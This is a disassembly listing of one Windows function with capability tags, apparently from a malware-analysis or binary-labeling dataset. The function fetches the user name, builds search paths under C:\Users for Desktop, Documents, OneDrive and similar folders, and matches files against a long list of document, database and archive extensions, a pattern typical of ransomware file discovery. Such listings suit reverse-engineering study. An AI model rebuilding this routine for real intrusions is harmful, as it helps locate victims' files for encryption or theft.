Function at 0x1400011a0
Capabilities:
Get session user name
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x3f8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x370], 0xfffffffffffffffe
lea rax, [0x14002165e]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 3
lea rax, str..7z.rar.m4a.wma.avi.wmv.d3dbsp.sc2save.sie.sum.bkp.flv.js.raw.jpeg.tar.zip.tar.gz.cmd.key.DOT.docm.txt.doc.docx.xls.xlsx.ppt.pptx.odt.jpg.png.csv.sql.mdb.sln.php.asp.aspx.html.xml.psd.bmp.pdf.py.rtf.plDesktopDocumentsDownloadsFavoritesMusicOneDriveAttachmentsOneDriveDesktopOneDriveDocumentsOneDrivePicturesOneDriveMusicPicturesVideosContactssrc_traversing.rs
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 3
lea rax, [0x14002159b]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 4
lea rax, [0x14002159f]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], 4
lea rax, [0x1400215a3]
mov qword [rbp], rax
mov qword [rbp + 8], 4
lea rax, [0x1400215a7]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], 4
lea rax, [0x1400215ab]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], 4
lea rax, [0x1400215af]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], 7
lea rax, [0x1400215b6]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], 8
lea rax, [0x1400215be]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 4
lea rax, [0x1400215c2]
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], 4
lea rax, [0x1400215c6]
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], 4
lea rax, [0x1400215ca]
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], 4
lea rax, [0x1400215ce]
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], 3
lea rax, [0x1400215d1]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], 4
lea rax, [0x1400215d5]
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], 5
lea rax, [0x1400215da]
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], 4
lea rax, [0x1400215de]
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], 4
lea rax, [0x1400215e2]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], 7
lea rax, [0x1400215e9]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], 4
lea rax, [0x1400215ed]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], 4
lea rax, [0x1400215f1]
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], 4
lea rax, [0x1400215f5]
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], 5
lea rax, [0x1400215fa]
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], 4
lea rax, [0x1400215fe]
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], 4
lea rax, [0x140021602]
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], 5
lea rax, [0x140021607]
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x168], 4
lea rax, [0x14002160b]
mov qword [rbp + 0x170], rax
mov qword [rbp + 0x178], 5
lea rax, [0x140021610]
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], 4
lea rax, [0x140021614]
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], 5
lea rax, [0x140021619]
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x1a8], 4
lea rax, [0x14002161d]
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1b8], 4
lea rax, [0x140021621]
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], 4
lea rax, [0x140021625]
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1d8], 4
lea rax, [0x140021629]
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1e8], 4
lea rax, [0x14002162d]
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], 4
lea rax, [0x140021631]
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], 4
lea rax, [0x140021635]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], 4
lea rax, [0x140021639]
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x228], 4
lea rax, [0x14002163d]
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], 5
lea rax, [0x140021642]
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x248], 5
lea rax, [0x140021647]
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], 4
lea rax, [0x14002164b]
mov qword [rbp + 0x260], rax
mov qword [rbp + 0x268], 4
lea rax, [0x14002164f]
mov qword [rbp + 0x270], rax
mov qword [rbp + 0x278], 4
lea rax, [0x140021653]
mov qword [rbp + 0x280], rax
mov qword [rbp + 0x288], 4
lea rax, [0x140021657]
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x298], 3
lea rax, [0x14002165a]
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x2a8], 4
mov edi, 8
mov rdx, qword [0x14002c010]
lea rsi, [section..data]
jmp 0x140001662
mov rax, qword [0x14002c008]
shl rdx, 4
mov qword [rax + rdx], rbx
mov qword [rax + rdx + 8], r14
mov rdx, qword [0x14002c010]
inc rdx
mov qword [0x14002c010], rdx
add rdi, 0x10
cmp rdi, 0x2f8
je 0x140001686
mov rbx, qword [rbp + rdi - 0x48]
mov r14, qword [rbp + rdi - 0x40]
cmp rdx, qword [section..data]
jne 0x140001630
mov rcx, rsi
call fcn.140007b40
mov rdx, qword [0x14002c010]
jmp 0x140001630
lea rax, [0x1400216eb]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 8
lea rax, [0x140021661]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 7
lea rax, [0x140021668]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 9
lea rax, [0x140021671]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], 9
lea rax, [0x14002167a]
mov qword [rbp], rax
mov qword [rbp + 8], 9
lea rax, [0x140021683]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], 5
lea rax, [0x140021688]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], 0x14
lea rax, [0x14002169c]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], 0x10
lea rax, [0x1400216ac]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], 0x12
lea rax, [0x1400216be]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 0x11
lea rax, [0x1400216cf]
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], 0xe
lea rax, [0x1400216dd]
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], 8
lea rax, [0x1400216e5]
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], 6
mov dword [rbp + 0x334], 0
mov qword [rbp + 0x2b0], 0
mov qword [rbp + 0x2b8], 1
mov qword [rbp + 0x2c0], 0
mov qword [rbp + 0x2d0], 0
mov qword [rbp + 0x2d8], 1
mov byte [rbp + 0x36f], 1
lea rdx, [rbp + 0x334]
xor ecx, ecx
call sub.ADVAPI32.dll_GetUserNameA
mov edi, dword [rbp + 0x334]
test rdi, rdi
je 0x140001830
mov byte [rbp + 0x36f], 1
lea rcx, [rbp + 0x2b0]
xor edx, edx
mov r8, rdi
call fcn.14001fd50
mov rsi, qword [rbp + 0x2b8]
mov rbx, qword [rbp + 0x2c0]
lea rcx, [rsi + rbx]
cmp edi, 2
jb 0x140001828
lea r8, [rdi - 1]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
add rbx, rdi
dec rbx
lea rcx, [rsi + rbx]
mov byte [rcx], 0
inc rbx
jmp 0x140001837
xor ebx, ebx
mov esi, 1
mov qword [rbp + 0x2c0], rbx
mov byte [rbp + 0x36f], 1
lea rdx, [rbp + 0x334]
mov rcx, rsi
call sub.ADVAPI32.dll_GetUserNameA
mov rbx, qword [rbp + 0x2c0]
mov qword [rbp + 0x2e0], rbx
movups xmm0, xmmword [rbp + 0x2b0]
movaps xmmword [rbp + 0x2d0], xmm0
mov ecx, dword [rbp + 0x334]
dec ecx
mov r14, rcx
sub r14, rbx
jbe 0x1400018e7
mov rax, qword [rbp + 0x2d0]
sub rax, rbx
cmp rax, r14
jae 0x1400018af
mov byte [rbp + 0x36f], 0
lea rcx, [rbp + 0x2d0]
mov rdx, rbx
mov r8, r14
call fcn.14001fd50
mov rbx, qword [rbp + 0x2e0]
mov rsi, qword [rbp + 0x2d8]
lea rcx, [rsi + rbx]
cmp r14, 2
jb 0x1400018d5
lea r8, [r14 - 1]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
add rbx, r14
dec rbx
lea rcx, [rsi + rbx]
mov qword [rbp + 0x338], rsi
mov byte [rcx], 0
inc rbx
mov rcx, rbx
jmp 0x1400018f5
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x338], rax
mov qword [rbp + 0x360], rcx
mov qword [rbp + 0x2e0], rcx
xor edi, edi
lea r14, [rbp + 0x310]
jmp 0x140001913
inc rdi
cmp rdi, 0xd
je 0x140001b31
movzx eax, byte [0x14002c131]
mov ecx, 9
mov edx, 1
call fcn.140007c00
test rax, rax
je 0x140001f78
mov r13, rax
movabs rax, 0x73726573555c3a43
mov qword [r13], rax
mov byte [r13 + 8], 0x5c
mov qword [rbp + 0x310], 9
mov qword [rbp + 0x318], r13
mov qword [rbp + 0x320], 9
lea rcx, [rbp + 0x340]
mov rdx, qword [rbp + 0x338]
mov r8, qword [rbp + 0x360]
call fcn.14001d000
cmp qword [rbp + 0x340], 0
jne 0x140001f37
mov rsi, qword [rbp + 0x348]
mov rbx, qword [rbp + 0x350]
test rbx, rbx
je 0x1400019e0
mov edx, 9
mov rcx, r14
mov r8, rbx
call fcn.14001fd50
mov r12, qword [rbp + 0x320]
mov r15, qword [rbp + 0x310]
mov r13, qword [rbp + 0x318]
jmp 0x1400019ec
mov r15d, 9
mov r12d, 9
lea rcx, [r12 + r13]
mov rdx, rsi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add r12, rbx
mov qword [rbp + 0x320], r12
cmp r15, r12
jne 0x140001a29
mov r8d, 1
mov rcx, r14
mov rdx, r15
call fcn.14001fd50
mov r13, qword [rbp + 0x318]
mov r12, qword [rbp + 0x320]
mov rax, rdi
shl rax, 4
lea rcx, [rax + rbp]
add rcx, 0xffffffffffffffc0
mov byte [r13 + r12], 0x5c
inc r12
mov qword [rbp + 0x320], r12
mov rsi, qword [rcx]
mov rbx, qword [rbp + rax - 0x38]
mov r15, qword [rbp + 0x310]
mov rax, r15
sub rax, r12
cmp rax, rbx
jae 0x140001a7e
mov rcx, r14
mov rdx, r12
mov r8, rbx
call fcn.14001fd50
mov r15, qword [rbp + 0x310]
mov r12, qword [rbp + 0x320]
mov r13, qword [rbp + 0x318]
lea rcx, [r12 + r13]
mov rdx, rsi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add r12, rbx
mov qword [rbp + 0x320], r12
sub r15, r12
cmp r15, 1
ja 0x140001ac6
mov r8d, 2
mov rcx, r14
mov rdx, r12
call fcn.14001fd50
mov r13, qword [rbp + 0x318]
mov r12, qword [rbp + 0x320]
mov word [r13 + r12], 0x2a5c
add r12, 2
lea rcx, [rbp + 0x2f0]
mov rdx, r13
mov r8, r12
call fcn.14001a150
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x2f0], rax
jne 0x140001eeb
mov rcx, qword [rbp + 0x2f8]
mov rdx, qword [rbp + 0x300]
call fcn.140002370
mov rdx, qword [rbp + 0x310]
test rdx, rdx
je 0x140001910
mov r8d, 1
mov rcx, r13
call fcn.140007c10
jmp 0x140001910
movzx eax, byte [0x14002c131]
mov ecx, 9
mov edx, 1
call fcn.140007c00
test rax, rax
je 0x140001f93
mov rsi, rax
movabs rax, 0x73726573555c3a43
mov qword [rsi], rax
mov byte [rsi + 8], 0x5c
mov qword [rbp + 0x2f0], 9
mov qword [rbp + 0x2f8], rsi
mov qword [rbp + 0x300], 9
mov rdx, qword [rbp + 0x2d8]
mov r8, qword [rbp + 0x2e0]
mov byte [rbp + 0x36e], 1
lea rcx, [rbp + 0x340]
call fcn.14001d000
cmp qword [rbp + 0x340], 0
jne 0x140001fae
mov rbx, qword [rbp + 0x348]
mov rdi, qword [rbp + 0x350]
test rdi, rdi
je 0x140001bf5
mov byte [rbp + 0x36e], 1
lea rcx, [rbp + 0x2f0]
mov edx, 9
mov r8, rdi
call fcn.14001fd50
mov r14, qword [rbp + 0x300]
mov r15, qword [rbp + 0x2f0]
mov rsi, qword [rbp + 0x2f8]
jmp 0x140001c01
mov r15d, 9
mov r14d, 9
lea rcx, [rsi + r14]
mov rdx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add r14, rdi
mov qword [rbp + 0x300], r14
mov rax, r15
sub rax, r14
cmp rax, 0x10
ja 0x140001c57
mov byte [rbp + 0x36e], 1
lea rcx, [rbp + 0x2f0]
mov r8d, 0x11
mov rdx, r14
call fcn.14001fd50
mov r14, qword [rbp + 0x300]
mov r15, qword [rbp + 0x2f0]
mov rsi, qword [rbp + 0x2f8]
movups xmm0, xmmword [0x140021720]
movups xmmword [rsi + r14], xmm0
mov byte [rsi + r14 + 0x10], 0x74
add r14, 0x11
mov qword [rbp + 0x300], r14
mov r8, qword [rbp + 0x2f8]
cmp r14, 0x10
jae 0x140001ca9
test r14, r14
je 0x140001ce0
xor eax, eax
xor edx, edx
nop word [rax + rax]
cmp byte [r8 + rdx], 0
je 0x140001d05
inc rdx
cmp r14, rdx
jne 0x140001c90
mov rdx, r14
test rax, rax
jne 0x140001ce9
jmp 0x140001d0f
mov qword [rbp + 0x360], r15
mov byte [rbp + 0x36d], 0
xor ecx, ecx
mov qword [rbp + 0x338], r8
mov rdx, r8
mov r8, r14
call fcn.14001cde0
mov r8, qword [rbp + 0x338]
mov r15, qword [rbp + 0x360]
test rax, rax
jne 0x140001ce9
jmp 0x140001d0f
xor edx, edx
xor eax, eax
test rax, rax
je 0x140001d0f
movabs rax, 0x8000000000000000
cmp r15, rax
jne 0x140001ff0
mov qword [rbp + 0x360], r14
jmp 0x140001d4f
mov eax, 1
test rax, rax
jne 0x140001ce9
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x340], r15
mov qword [rbp + 0x338], r8
mov qword [rbp + 0x348], r8
mov qword [rbp + 0x350], r14
mov byte [rbp + 0x36d], 1
lea rcx, [rbp + 0x340]
call fcn.14001a320
mov qword [rbp + 0x360], rdx
mov r8, rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
mov qword [rbp + 0x338], r8
mov rcx, r8
mov edx, 2
mov r8d, 1
xor r9d, r9d
call sub.KERNEL32.dll_CreateFileA
mov rsi, rax
xorps xmm0, xmm0
movaps xmmword [rbp + 0x310], xmm0
lea rcx, [rbp + 0x310]
call sub.KERNEL32.dll_GetSystemTime
mov qword [rbp + 0x340], 0
mov qword [rbp + 0x348], 1
mov qword [rbp + 0x350], 0
movzx eax, word [rbp + 0x312]
mov ecx, eax
inc ecx
cmp ax, 0xc
mov edi, 1
cmovne edi, ecx
mov word [rbp + 0x312], di
lea rcx, [rbp + 0x340]
xor edx, edx
call fcn.140007a90
mov rax, qword [rbp + 0x348]
mov rcx, qword [rbp + 0x350]
mov byte [rax + rcx], dil
mov rdx, qword [rbp + 0x350]
inc rdx
mov qword [rbp + 0x350], rdx
movzx ebx, byte [rbp + 0x316]
cmp rdx, qword [rbp + 0x340]
jne 0x140001e31
lea rcx, [rbp + 0x340]
call fcn.140007a90
mov rdx, qword [rbp + 0x350]
mov rax, qword [rbp + 0x348]
mov byte [rax + rdx], bl
inc qword [rbp + 0x350]
mov dword [rbp + 0x2cc], 0
mov rdx, qword [rbp + 0x348]
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x2cc]
mov rcx, rsi
mov r8d, 2
call sub.KERNEL32.dll_WriteFile
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
mov rdx, qword [rbp + 0x340]
test rdx, rdx
je 0x140001e97
mov rcx, qword [rbp + 0x348]
mov r8d, 1
call fcn.140007c10
mov rcx, qword [rbp + 0x338]
mov byte [rcx], 0
mov rdx, qword [rbp + 0x360]
test rdx, rdx
je 0x140001eb8
mov r8d, 1
call fcn.140007c10
mov rdx, qword [rbp + 0x2d0]
test rdx, rdx
je 0x140001ed6
mov rcx, qword [rbp + 0x2d8]
mov r8d, 1
call fcn.140007c10
nop
add rsp, 0x3f8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movups xmm0, xmmword [rbp + 0x2f0]
movups xmm1, xmmword [rbp + 0x300]
movaps xmmword [rbp + 0x350], xmm1
movaps xmmword [rbp + 0x340], xmm0
lea rax, [0x140021770]
mov qword [rsp + 0x20], rax
lea rcx, [0x140021420]
lea r9, [0x140021470]
lea r8, [rbp + 0x340]
mov edx, 0x2b
call fcn.140020cb0
jmp 0x140002037
lea rax, [rbp + 0x348]
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x2f0], xmm0
lea rax, [0x140021750]
mov qword [rsp + 0x20], rax
lea rcx, [0x140021420]
lea r9, [0x140021490]
lea r8, [rbp + 0x2f0]
mov edx, 0x2b
call fcn.140020cb0
jmp 0x140002037
mov byte [rbp + 0x36f], 0
mov ecx, 1
mov edx, 9
call fcn.1400207c0
jmp 0x140002037
mov byte [rbp + 0x36f], 0
mov ecx, 1
mov edx, 9
call fcn.1400207c0
jmp 0x140002037
movups xmm0, xmmword [rbp + 0x348]
movaps xmmword [rbp + 0x310], xmm0
mov byte [rbp + 0x36e], 1
lea rax, [0x140021708]
mov qword [rsp + 0x20], rax
lea rcx, [0x140021420]
lea r9, [0x140021490]
lea r8, [rbp + 0x310]
mov edx, 0x2b
call fcn.140020cb0
jmp 0x140002037
mov qword [rbp + 0x340], r15
mov qword [rbp + 0x348], r8
mov qword [rbp + 0x350], r14
mov qword [rbp + 0x358], rdx
lea rax, [0x140021738]
mov qword [rsp + 0x20], rax
lea rcx, [0x140021420]
lea r9, [0x140021470]
lea r8, [rbp + 0x340]
mov edx, 0x2b
call fcn.140020cb0
ud2